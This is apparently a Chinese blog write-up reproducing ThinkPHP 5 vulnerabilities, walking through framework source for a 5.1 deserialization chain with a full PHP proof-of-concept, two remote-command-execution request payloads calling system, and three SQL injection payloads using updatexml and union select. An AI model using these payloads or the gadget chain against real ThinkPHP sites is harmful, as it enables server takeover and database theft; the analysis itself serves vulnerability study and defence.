ThinkPHP V5 漏洞复现

阅读量406471

|

发布时间 : 2021-09-22 16:30:02

 

0x00 ThinkPHP V5.1反序列化

0x00 项目安装

使用composer部署TP项目,创建一个名为TP51的TP项目
composer create-project --prefer-dist topthink/think tp51 5.1.*

TP框架入口文件为{安装目录}/public/index.php,使用apache部署后访问入口文件显示TP欢迎界面即安装成功。

0x01 演示版本

ThinkPHP v5.1.41
PHP: php 7.3.4
OS:Windows10

0x02 源码分析

准备

首先得准备一个反序列化的入口
可以直接在 public/index.php 中添加如下代码对输入进行反序列化

if (isset($_GET['data'])) {
    $data=$_GET['data'];
    unserialize(base64_decode($data));
} else {
    highlight_file(__FILE__);
}

分析

起始位置在 think\process\pipes\Windows 类的 __destruct() 方法内调用的 $this->removeFiles()

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

该函数的作用是删除文件,但是这里用来判断文件是否存在的函数 file_exists() 的参数如果是一个对象,会触发它的 __toString() 方法。

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

这里可以利用 think\model\concern\Conversion 类,但是这是一个trait,不能实例化,所以还要找一个使用了它的类,如 think\Model ,但这是一个抽象类,所以又接着找到了它的实现类 think\model\Pivot。解决了trait的问题,那就接着跟进调用的函数 toJson(),接着调用 toArray()

public function __toString()
{
    return $this->toJson();
}

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

toArray() 截图了关键代码,这里的 $this->append 可控。

if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {
            // 追加关联对象属性
            $relation = $this->getRelation($key);

            if (!$relation) {
                $relation = $this->getAttr($key);
                if ($relation) {
                    $relation->visible($name);
                }
            }

            $item[$key] = $relation ? $relation->append($name)->toArray() : [];
        }
    }
}

定位到 getRelation() ,只要使得 $this->getRelation($key) 返回值为False,就接着调用 $this->getAttr($key)

public function getRelation($name = null)
{
    if (is_null($name)) {
        return $this->relation;
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    return;
}

截取前面部分代码,这里的 $closure($value, $this->data) ,如果 $closure$value 可控的话,那么我们就可以执行任意命令。

$closure = $this->withAttr[$fieldName]; ,调用的函数名由 $this->withAttr 以及 $fieldName 决定,$this->withAttr 可控,而 $fieldName$this->append 的键名决定。函数定了,参数 $value 回溯看一下,等于 $this->getData($name)

public function getAttr($name, &$item = null)
{
    try {
        $notFound = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $notFound = true;
        $value    = null;
    }

    // 检测属性获取器
    $fieldName = Loader::parseName($name);
    $method    = 'get' . Loader::parseName($name, 1) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
        if ($notFound && $relation = $this->isRelationAttr($name)) {
            $modelRelation = $this->$relation();
            $value         = $this->getRelationData($modelRelation);
        }

        $closure = $this->withAttr[$fieldName];
        $value   = $closure($value, $this->data);
    }
}

函数的返回值可以由 $this->data[$name] 决定,也是可控。

public function getData($name = null)
{
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

那么就可以写出POC了

<?php

namespace think\process\pipes{

    use think\model\Pivot;

    class Windows
    {
        private $files = [];
        public function __construct()
        {
            $this->files=[new Pivot()];
        }
    }
}

namespace think\model{
    use think\Model;

    class Pivot extends Model
    {
    }
}

namespace think{
    abstract class Model
    {
        private $data = [];
        private $withAttr = [];
        protected $append = ['so4ms'=>[]];

        public function __construct()
        {
            $this->relation = false;
            $this->data = ['so4ms'=>'whoami'];
            $this->withAttr = ['so4ms'=>'system'];
        }
    }
}

namespace {
    use think\process\pipes\Windows;

    $windows = new Windows();
    echo base64_encode(serialize($windows))."\n";
}

 

0x01 ThinkPHP5 未开启强制路由RCE

0x00 影响范围

ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30

0x01 演示版本

ThinkPHP v5.0.15
PHP: php 7.3.4
环境:Windows10

0x02 payload

调试分析时选用的是 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

0x03 触发条件

application\config.php 两个所需条件如下:

// PATHINFO变量名 用于兼容模式
'var_pathinfo'           => 's',
// 是否强制使用路由
'url_route_must'         => false,

0x04 调试分析

入口函数 think\App 中的 run() 函数,在 routeCheck() 处打下断点,跟进。

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
    $dispatch = self::routeCheck($request, $config);
}

routeCheck() 中先调用了 path() 函数来获取路由,跟进一下 path() 函数。

$path   = $request->path();

又接着跟进 $this->pathinfo()

$pathinfo = $this->pathinfo();

此时的 $this->pathinfo 默认为null,进入if,然后开始获取 config.php 中的设置 'var_pathinfo' ,因此之前得有 'var_pathinfo' => 's', 才能进一步往下。然后通过 $_GET[Config::get('var_pathinfo')] 获取我们传入的路由信息。

此时进入下一个if,由于上面已经获取了 $_SERVER['PATH_INFO'] ,不满足条件,所以跳过了这个if。返回 index/\think\app/invokefunction

public function pathinfo()
{
    if (is_null($this->pathinfo)) {
        if (isset($_GET[Config::get('var_pathinfo')])) {
            // 判断URL里面是否有兼容模式参数
            $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
            unset($_GET[Config::get('var_pathinfo')]);
        } elseif (IS_CLI) {
            // CLI模式下 index.php module/controller/action/params/...
            $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
        }

        // 分析PATHINFO信息
        if (!isset($_SERVER['PATH_INFO'])) {
            foreach (Config::get('pathinfo_fetch') as $type) {
                if (!empty($_SERVER[$type])) {
                    $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
                        substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
                    break;
                }
            }
        }
        $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
    }
    return $this->pathinfo;
}

回到 path() 函数,这里的 $suffix 值默认为 html ,进入第一个 elseif。去掉 html ,由于我们的请求中没有,所以没任何影响,返回 index/\think\app/invokefunction

public function path()
{
    if (is_null($this->path)) {
        $suffix   = Config::get('url_html_suffix');
        $pathinfo = $this->pathinfo();
        if (false === $suffix) {
            // 禁止伪静态访问
            $this->path = $pathinfo;
        } elseif ($suffix) {
            // 去除正常的URL后缀
            $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
        } else {
            // 允许任何后缀访问
            $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
        }
    }
    return $this->path;
}

回到 routeCheck(),这里先对路由进行了检测,返回为false,然后对 config.php 中的 url_route_must 进行了判断,之前已经确认了为false,不开启强制路由,否则的话下面就会抛出错误,也就无法继续利用了。

// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

然后在下面,由于 $result 值为false,所以调用了 parseUrl 来对输入进行解析。

// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
    $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}

这里url的 / 被替换为了 | ,然后我们跟进 parseUrlPath()

$url              = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);

这里又把 | 换回了 / ,然后根据 / 将url切割为了三部分:模块/控制器/操作。

/**
 * 解析URL的pathinfo参数和变量
 * @access private
 * @param string    $url URL地址
 * @return array
 */
private static function parseUrlPath($url)
{
    // 分隔符替换 确保路由定义使用统一的分隔符
    $url = str_replace('|', '/', $url);
    $url = trim($url, '/');
    $var = [];
    if (false !== strpos($url, '?')) {
        // [模块/控制器/操作?]参数1=值1&参数2=值2...
        $info = parse_url($url);
        $path = explode('/', $info['path']);
        parse_str($info['query'], $var);
    } elseif (strpos($url, '/')) {
        // [模块/控制器/操作]
        $path = explode('/', $url);
    } else {
        $path = [$url];
    }
    return [$path, $var];
}

然后回到 parseUrl ,然后分别获取模块、控制器、操作,最后返回了 ['type' => 'module', 'module' => $route]

public static function parseUrl($url, $depr = '/', $autoSearch = false)
{

    if (isset(self::$bind['module'])) {
        $bind = str_replace('/', $depr, self::$bind['module']);
        // 如果有模块/控制器绑定
        $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
    }
    $url              = str_replace($depr, '|', $url);
    list($path, $var) = self::parseUrlPath($url);
    $route            = [null, null, null];
    if (isset($path)) {
        // 解析模块
        $module = Config::get('app_multi_module') ? array_shift($path) : null;
        if ($autoSearch) {
            // 自动搜索控制器
            // 不执行,省略了
        } else {
            // 解析控制器
            $controller = !empty($path) ? array_shift($path) : null;
        }
        // 解析操作
        $action = !empty($path) ? array_shift($path) : null;
        // 解析额外参数
        self::parseUrlParams(empty($path) ? '' : implode('|', $path));
        // 封装路由
        $route = [$module, $controller, $action];
        // 检查地址是否被定义过路由
        $name  = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
        $name2 = '';
        if (empty($module) || isset($bind) && $module == $bind) {
            $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
        }

        if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
            throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
        }
    }
    return ['type' => 'module', 'module' => $route];
}

回到了最开始的 run() ,往下执行到 $data = self::exec($dispatch, $config);$dispatch 就是上面我们返回的 ['type' => 'module', 'module' => $route]。执行如下代码。

case 'module': // 模块/控制器/操作
    $data = self::module(
        $dispatch['module'],
        $config,
        isset($dispatch['convert']) ? $dispatch['convert'] : null
    );
    break;

最后在 module() 的最后 return self::invokeMethod($call, $vars);,这里的 $call 就是我们传入的控制器、操作。

在这生成反射实例,然后在 bindParams 获取了我们传入的参数 function=call_user_func_array&vars[0]=system&vars[1][]=whoami

public static function invokeMethod($method, $vars = [])
{
    if (is_array($method)) {
        $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
        $reflect = new \ReflectionMethod($class, $method[1]);
    } else {
        // 静态方法
        $reflect = new \ReflectionMethod($method);
    }

    $args = self::bindParams($reflect, $vars);

    self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

    return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}

最后就到达了我们的目的地 invokeFunction(),成功rce。

public static function invokeFunction($function, $vars = [])
{
    $reflect = new \ReflectionFunction($function);
    $args    = self::bindParams($reflect, $vars);

    // 记录执行信息
    self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

    return $reflect->invokeArgs($args);
}

 

0x02 ThinkPHP v5.0 命令执行

0x00 影响范围

ThinkPHP 5.0.0 ~ ThinkPHP 5.0.23

0x01 演示版本

ThinkPHP v5.0.15
PHP: php 7.3.4
OS:Windows10

0x02 漏洞复现

向网页进行POST传参 _method=__construct&filter=system&a=whoami ,可以发现成功执行命令。

0x03 触发条件

Application/config.php 开启调试。

// 应用调试模式
'app_debug' => true,

0x04 调试分析

由于漏洞出现在参数过滤处,所以我们在 Think\App.phprun() 函数里打下断点

$request->filter($config['default_filter']);

这里获取了全局过滤方法,默认为空字符。

// 默认全局过滤方法 用逗号分隔多个
'default_filter'         => '',

跟进 filter() ,这里传入的 $filter 不为null,所以进入else。

/**
 * 设置或获取当前的过滤规则
 * @param mixed $filter 过滤规则
 * @return mixed
 */
public function filter($filter = null)
{
    if (is_null($filter)) {
        return $this->filter;
    } else {
        $this->filter = $filter;
    }
}

随后 run() 函数执行到 routeCheck()

if (empty($dispatch)) {
    $dispatch = self::routeCheck($request, $config);
}

routeCheck() 中调用了 check() ,又接着调用了 method()

获取 config.php 中的 var_method,默认为 _method,由于我们传入了_method=__construct,这里进入elseif,就使得 $this->method=__construct,随后就调用了 __construct(),将我们POST传递的参数当做函数参数传入。

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        }
    }
    return $this->method;
}

这里对传入的参数进行了遍历,由于 Request 类存在 filter 属性,所以就将我们的输入覆盖了原来的 filter

protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }

    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

又回到 run() ,这里会判断是否开启了debug,开启的话就会调用 $request->param() ,来记录参数信息。

// 记录路由和请求信息
if (self::$debug) {
    Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
    Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
    Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}

调用 $this->post 来获取传递的参数,然后进入 input()

public function param($name = '', $default = null, $filter = '')
{
    if (empty($this->param)) {
        $method = $this->method(true);
        // 自动获取请求变量
        switch ($method) {
            case 'POST':
                $vars = $this->post(false);
                break;
            case 'PUT':
            case 'DELETE':
            case 'PATCH':
                $vars = $this->put(false);
                break;
            default:
                $vars = [];
        }
        // 当前请求参数和URL地址中的参数合并
        $this->param = array_merge($this->get(false), $vars, $this->route(false));
    }
    if (true === $name) {
        // 获取包含文件上传信息的数组
        $file = $this->file();
        $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
        return $this->input($data, '', $default, $filter);
    }
    return $this->input($this->param, $name, $default, $filter);
}

随后执行 $filter = $this->getFilter($filter, $default); 调用 $this->getFilter 来解析获取过滤器,也就是我们之前覆盖为了 systemfilter

进入 filterValue() ,调用了 $value = call_user_func($filter, $value);$filter 就是 system$value 就是我们传入的参数的值,成功执行命令。

private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } elseif (is_scalar($value)) {
            if (false !== strpos($filter, '/')) {
                // 正则过滤
                if (!preg_match($filter, $value)) {
                    // 匹配不成功返回默认值
                    $value = $default;
                    break;
                }
            } elseif (!empty($filter)) {
                // filter函数不存在时, 则使用filter_var进行过滤
                // filter为非整形值时, 调用filter_id取得过滤id
                $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                if (false === $value) {
                    $value = $default;
                    break;
                }
            }
        }
    }
    return $this->filterExp($value);
}

 

0x03 ThinkPHP v5.0.15 SQL注入

0x00 影响范围

ThinkPHP 5.0.13-5.0.15

0x01 演示版本

ThinkPHP v5.0.15
PHP: php 7.3.4
环境:Windows10

0x02 payload

?username[0]=inc&username[1]=updatexml(1,concat(0x7e,database(),0x7e),1)&username[2]=1

0x03 触发条件

报错注入需要开启debug模式

// 应用调试模式
'app_debug' => true,

添加一个路由进行insert。这里 get('username/a') 以数组的格式获取username,或者以全局数组 $_GET['username'] 来获取参数。

public function sql()
{
    $username = request()->get('username/a');
    db('user')->insert(['username' => $username,'password'=>'password']);
    return 'Update success';
}

0x04 调试分析

首先进入 insert() 函数,然后调用 $sql = $this->builder->insert($data, $options, $replace); 来生成SQL语句。随后调用 $this->parseData() ,漏洞就出现在这。

// 分析并处理数据
$data = $this->parseData($data, $options);

先获取了表的字段名,然后逐个对要插入的数据进行判断,这里就是关键了,如果我们传入的不是数组,而是一个字符串的话,就会进入 elseif (is_scalar($val)),如果传入的是数组的话就进入的是 elseif (is_array($val) && !empty($val))

protected function parseData($data, $options)
{
    if (empty($data)) {
        return [];
    }

    // 获取绑定信息
    $bind = $this->query->getFieldsBind($options['table']);
    if ('*' == $options['field']) {
        $fields = array_keys($bind);
    } else {
        $fields = $options['field'];
    }

    $result = [];
    foreach ($data as $key => $val) {
        $item = $this->parseKey($key, $options);
        if (is_object($val) && method_exists($val, '__toString')) {
            // 对象数据写入
            $val = $val->__toString();
        }
        if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
            if ($options['strict']) {
                throw new Exception('fields not exists:[' . $key . ']');
            }
        } elseif (is_null($val)) {
            $result[$item] = 'NULL';
        } elseif (is_array($val) && !empty($val)) {
            switch ($val[0]) {
                case 'exp':
                    $result[$item] = $val[1];
                    break;
                case 'inc':
                    $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                    break;
                case 'dec':
                    $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                    break;
            }
        } elseif (is_scalar($val)) {
            // 过滤非标量数据
            if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
                $result[$item] = $val;
            } else {
                $key = str_replace('.', '_', $key);
                $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                $result[$item] = ':data__' . $key;
            }
        }
    }
    return $result;
}

先来看看传入字符串的时候,该函数会返回一个数组,不会将字符串直接插入,我们接着往下看。

`username`:":data__username"
`password`:":data__password"

回到 insert(),我们拿到了一个初始的SQL语句 "INSERT INTO `user` (`username` , `password`) VALUES (:data__username , :data__password) "

调用 $result = 0 === $sql ? 0 : $this->execute($sql, $bind);,调试跟进,又接着调用 $this->connection->execute($sql, $bind);

然后通过以下语句进行参数绑定,然后执行语句,使用的是PDO预编译,肯定是无法进行注入的。

// 预处理
if (empty($this->PDOStatement)) {
    $this->PDOStatement = $this->linkID->prepare($sql);
}
// 是否为存储过程调用
$procedure = in_array(strtolower(substr(trim($sql), 0, 4)), ['call', 'exec']);
// 参数绑定
if ($procedure) {
    $this->bindParam($bind);
} else {
    $this->bindValue($bind);
}
// 执行语句
$this->PDOStatement->execute();
// 调试结束
$this->debug(false);

回到之前,如果我们传入的是数组,然后进入 elseif (is_array($val) && !empty($val))

这里会判断 $val[0],前面如果采用的是 $_GET['username'] 来获取参数,那么三个分支都可以用来SQL注入,但是如果用的 request()->get('username/a') 来获取参数,那么 exp 会被过滤为 exp,这里就不去调试了。所以我们可以选用 inc 或者 dec ,传入 username[0]=inc。然后会将 $val[1]$val[2] 拼接起来,赋值给 $result[$item] ,这就意味着不会产生之前的 `username`:":data__username",而是将我们的输入直接拼接到SQL语句中,这样,返回的SQL语句就变为了 "INSERT INTO `user` (`username` , `password`) VALUES (updatexml(1,concat(0x7e,database(),0x7e),1)+1 , :data__password) ",成功注入。

elseif (is_array($val) && !empty($val)) {
    switch ($val[0]) {
        case 'exp':
            $result[$item] = $val[1];
            break;
        case 'inc':
            $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
            break;
        case 'dec':
            $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
            break;
    }
}

 

0x04 ThinkPHP v5.0.15 SQL注入

0x00 影响范围

ThinkPHP 5.1.6-5.1.7

0x01 演示版本

ThinkPHP v5.1.6
PHP: php 7.3.4
环境:Windows10

0x02 payload

?username[0]=point&username[1]=0x7e,database(),0x7e),'1&username[2]=updatexml&username[3]=1',concat

0x03 触发条件

报错注入需要开启debug模式

// 应用调试模式
'app_debug' => true,

添加一个路由进行insert。这里 get('username/a') 以数组的格式获取username,或者以全局数组 $_GET['username'] 来获取参数。

public function sql()
{
    $username = request()->get('username/a');
    db('user')->where(['id' => 1])->update(['username' => $username]);
}

0x04 调试分析

调用 update() 后接着调用 $this->connection->update($this)

然后又调用 $this->builder->update($query); 生成UPDATE SQL语句,跟进。

接着我们又看到了熟悉的 parseData(),跟进看一下。

    public function update(Query $query)
    {
        $options = $query->getOptions();

        $table = $this->parseTable($query, $options['table']);
        $data  = $this->parseData($query, $options['data']);
        ......
    }

还是同样的先获取表的字段名,然后逐个对要插入的数据进行判断,如果传入的是字符串进入 elseif (is_scalar($val)),传入的是数组的话进入 elseif (is_array($val) && !empty($val))。传入字符串的话还是和之前一样是预编译,不能进行注入,我们就直接来看传入数组的情况。

protected function parseData(Query $query, $data = [], $fields = [], $bind = [], $suffix = '')
{
    if (empty($data)) {
        return [];
    }

    $options = $query->getOptions();

    // 获取绑定信息
    if (empty($bind)) {
        $bind = $this->connection->getFieldsBind($options['table']);
    }

    if (empty($fields)) {
        if ('*' == $options['field']) {
            $fields = array_keys($bind);
        } else {
            $fields = $options['field'];
        }
    }

    $result = [];

    foreach ($data as $key => $val) {
        $item = $this->parseKey($query, $key);

        if ($val instanceof Expression) {
            $result[$item] = $val->getValue();
            continue;
        } elseif (!is_scalar($val) && (in_array($key, (array) $query->getOptions('json')) || 'json' == $this->connection->getFieldsType($options['table'], $key))) {
            $val = json_encode($val);
        } elseif (is_object($val) && method_exists($val, '__toString')) {
            // 对象数据写入
            $val = $val->__toString();
        }

        if (false !== strpos($key, '->')) {
            list($key, $name) = explode('->', $key);
            $item             = $this->parseKey($query, $key);
            $result[$item]    = 'json_set(' . $item . ', \'$.' . $name . '\', ' . $this->parseDataBind($query, $key, $val, $bind, $suffix) . ')';
        } elseif (false === strpos($key, '.') && !in_array($key, $fields, true)) {
            if ($options['strict']) {
                throw new Exception('fields not exists:[' . $key . ']');
            }
        } elseif (is_null($val)) {
            $result[$item] = 'NULL';
        } elseif (is_array($val) && !empty($val)) {
            switch ($val[0]) {
                case 'INC':
                    $result[$item] = $item . ' + ' . floatval($val[1]);
                    break;
                case 'DEC':
                    $result[$item] = $item . ' - ' . floatval($val[1]);
                    break;
                default:
                    $value = $this->parseArrayData($query, $val);
                    if ($value) {
                        $result[$item] = $value;
                    }
            }
        } elseif (is_scalar($val)) {
            // 过滤非标量数据
            $result[$item] = $this->parseDataBind($query, $key, $val, $bind, $suffix);
        }
    }

    return $result;
}

不同于之前的是,这次在前两个分支中,进行拼接的是 floatval($val[1]),而不是直接将字符串进行拼接,显然是无法进行利用了,那我们来看看 parseArrayData()

elseif (is_array($val) && !empty($val)) {
    switch ($val[0]) {
        case 'INC':
            $result[$item] = $item . ' + ' . floatval($val[1]);
            break;
        case 'DEC':
            $result[$item] = $item . ' - ' . floatval($val[1]);
            break;
        default:
            $value = $this->parseArrayData($query, $val);
            if ($value) {
                $result[$item] = $value;
            }
    }
}

这里 $type 是数组的第一个值,$value 是数组的第二个值。这里让 $type 等于point,进入第一个分支。然后分别获取数组下标为2和下标为3的值。然后以 $data[2] . '(\'' . $data[3] . '(' . $data[1] . ')\')' 的样式拼接起来,返回该值。随后将其拼接到SQL语句中,"UPDATE `user` SET `username` = updatexml('1',concat(0x7e,database(),0x7e),'1)') WHERE `id` = :where_AND_id ",注入成功。

protected function parseArrayData(Query $query, $data)
{
    list($type, $value) = $data;

    switch (strtolower($type)) {
        case 'point':
            $fun   = isset($data[2]) ? $data[2] : 'GeomFromText';
            $point = isset($data[3]) ? $data[3] : 'POINT';
            if (is_array($value)) {
                $value = implode(' ', $value);
            }
            $result = $fun . '(\'' . $point . '(' . $value . ')\')';
            break;
        default:
            $result = false;
    }

    return $result;
}

 

0x05 ThinkPHP v5.0.10 SQL注入

0x00 影响范围

=ThinkPHP 5.0.10

0x01 演示版本

ThinkPHP v5.0.10
PHP: php 7.3.4
环境:Windows10

0x02 payload

?username[0]=NOT LIKE&username[1][0]=%&username[1][1]=So4ms&username[2]=) union select 1,114514,database()%23

0x03 触发条件

添加一个路由进行insert。这里 get('username/a') 以数组的格式获取username,或者以全局数组 $_GET['username'] 来获取参数。

public function sql()
{
    $username = request()->get('username/a');
    $result = db('user')->where(['username' => $username])->select();
    print_r($result);
}

0x04 调试分析

先调用 select() ,然后在其中调用 $this->builder->select($options);,生成查询SQL语句。然后调用 $this->parseWhere($options['where'], $options), ,跟进,又调用了 parseWhereItem() 处理查询条件。

protected function parseWhereItem($field, $val, $rule = '', $options = [], $binds = [], $bindName = null)
{
    // 字段分析
    $key = $field ? $this->parseKey($field, $options) : '';

    // 查询规则和条件
    if (!is_array($val)) {
        $val = ['=', $val];
    }
    list($exp, $value) = $val;

    // 对一个字段使用多个查询条件
    if (is_array($exp)) {
        $item = array_pop($val);
        // 传入 or 或者 and
        if (is_string($item) && in_array($item, ['AND', 'and', 'OR', 'or'])) {
            $rule = $item;
        } else {
            array_push($val, $item);
        }
        foreach ($val as $k => $item) {
            $bindName = 'where_' . str_replace('.', '_', $field) . '_' . $k;
            $str[]    = $this->parseWhereItem($field, $item, $rule, $options, $binds, $bindName);
        }
        return '( ' . implode(' ' . $rule . ' ', $str) . ' )';
    }

    // 检测操作符
    if (!in_array($exp, $this->exp)) {
        $exp = strtolower($exp);
        if (isset($this->exp[$exp])) {
            $exp = $this->exp[$exp];
        } else {
            throw new Exception('where express error:' . $exp);
        }
    }
    $bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
    if (preg_match('/\W/', $bindName)) {
        // 处理带非单词字符的字段名
        $bindName = md5($bindName);
    }

    $bindType = isset($binds[$field]) ? $binds[$field] : PDO::PARAM_STR;
    if (is_scalar($value) && array_key_exists($field, $binds) && !in_array($exp, ['EXP', 'NOT NULL', 'NULL', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN']) && strpos($exp, 'TIME') === false) {
        if (strpos($value, ':') !== 0 || !$this->query->isBind(substr($value, 1))) {
            if ($this->query->isBind($bindName)) {
                $bindName .= '_' . str_replace('.', '_', uniqid('', true));
            }
            $this->query->bind($bindName, $value, $bindType);
            $value = ':' . $bindName;
        }
    }

    $whereStr = '';
    if (in_array($exp, ['=', '<>', '>', '>=', '<', '<='])) {
        // 比较运算
        if ($value instanceof \Closure) {
            $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
        } else {
            $whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
        }
    } elseif ('LIKE' == $exp || 'NOT LIKE' == $exp) {
        // 模糊匹配
        if (is_array($value)) {
            foreach ($value as $item) {
                $array[] = $key . ' ' . $exp . ' ' . $this->parseValue($item, $field);
            }
            $logic = isset($val[2]) ? $val[2] : 'AND';
            $whereStr .= '(' . implode($array, ' ' . strtoupper($logic) . ' ') . ')';
        } else {
            $whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
        }
    } elseif ('EXP' == $exp) {
        // 表达式查询
        $whereStr .= '( ' . $key . ' ' . $value . ' )';
    } elseif (in_array($exp, ['NOT NULL', 'NULL'])) {
        // NULL 查询
        $whereStr .= $key . ' IS ' . $exp;
    } elseif (in_array($exp, ['NOT IN', 'IN'])) {
        // IN 查询
        if ($value instanceof \Closure) {
            $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
        } else {
            $value = array_unique(is_array($value) ? $value : explode(',', $value));
            if (array_key_exists($field, $binds)) {
                $bind  = [];
                $array = [];
                $i     = 0;
                foreach ($value as $v) {
                    $i++;
                    if ($this->query->isBind($bindName . '_in_' . $i)) {
                        $bindKey = $bindName . '_in_' . uniqid() . '_' . $i;
                    } else {
                        $bindKey = $bindName . '_in_' . $i;
                    }
                    $bind[$bindKey] = [$v, $bindType];
                    $array[]        = ':' . $bindKey;
                }
                $this->query->bind($bind);
                $zone = implode(',', $array);
            } else {
                $zone = implode(',', $this->parseValue($value, $field));
            }
            $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
        }
    } elseif (in_array($exp, ['NOT BETWEEN', 'BETWEEN'])) {
        // BETWEEN 查询
        $data = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            if ($this->query->isBind($bindName . '_between_1')) {
                $bindKey1 = $bindName . '_between_1' . uniqid();
                $bindKey2 = $bindName . '_between_2' . uniqid();
            } else {
                $bindKey1 = $bindName . '_between_1';
                $bindKey2 = $bindName . '_between_2';
            }
            $bind = [
                $bindKey1 => [$data[0], $bindType],
                $bindKey2 => [$data[1], $bindType],
            ];
            $this->query->bind($bind);
            $between = ':' . $bindKey1 . ' AND :' . $bindKey2;
        } else {
            $between = $this->parseValue($data[0], $field) . ' AND ' . $this->parseValue($data[1], $field);
        }
        $whereStr .= $key . ' ' . $exp . ' ' . $between;
    } elseif (in_array($exp, ['NOT EXISTS', 'EXISTS'])) {
        // EXISTS 查询
        if ($value instanceof \Closure) {
            $whereStr .= $exp . ' ' . $this->parseClosure($value);
        } else {
            $whereStr .= $exp . ' (' . $value . ')';
        }
    } elseif (in_array($exp, ['< TIME', '> TIME', '<= TIME', '>= TIME'])) {
        $whereStr .= $key . ' ' . substr($exp, 0, 2) . ' ' . $this->parseDateTime($value, $field, $options, $bindName, $bindType);
    } elseif (in_array($exp, ['BETWEEN TIME', 'NOT BETWEEN TIME'])) {
        if (is_string($value)) {
            $value = explode(',', $value);
        }

        $whereStr .= $key . ' ' . substr($exp, 0, -4) . $this->parseDateTime($value[0], $field, $options, $bindName . '_between_1', $bindType) . ' AND ' . $this->parseDateTime($value[1], $field, $options, $bindName . '_between_2', $bindType);
    }
    return $whereStr;
}

在开头,会对传入的数据进行一个类型的判断,我们先来看一下传入字符串而不是数组的情况。

if (!is_array($val)) {
    $val = ['=', $val];
}

随后对操作符进行检测,传入字符串时默认为 =,在数组中,所以不进入if。

if (!in_array($exp, $this->exp)) {
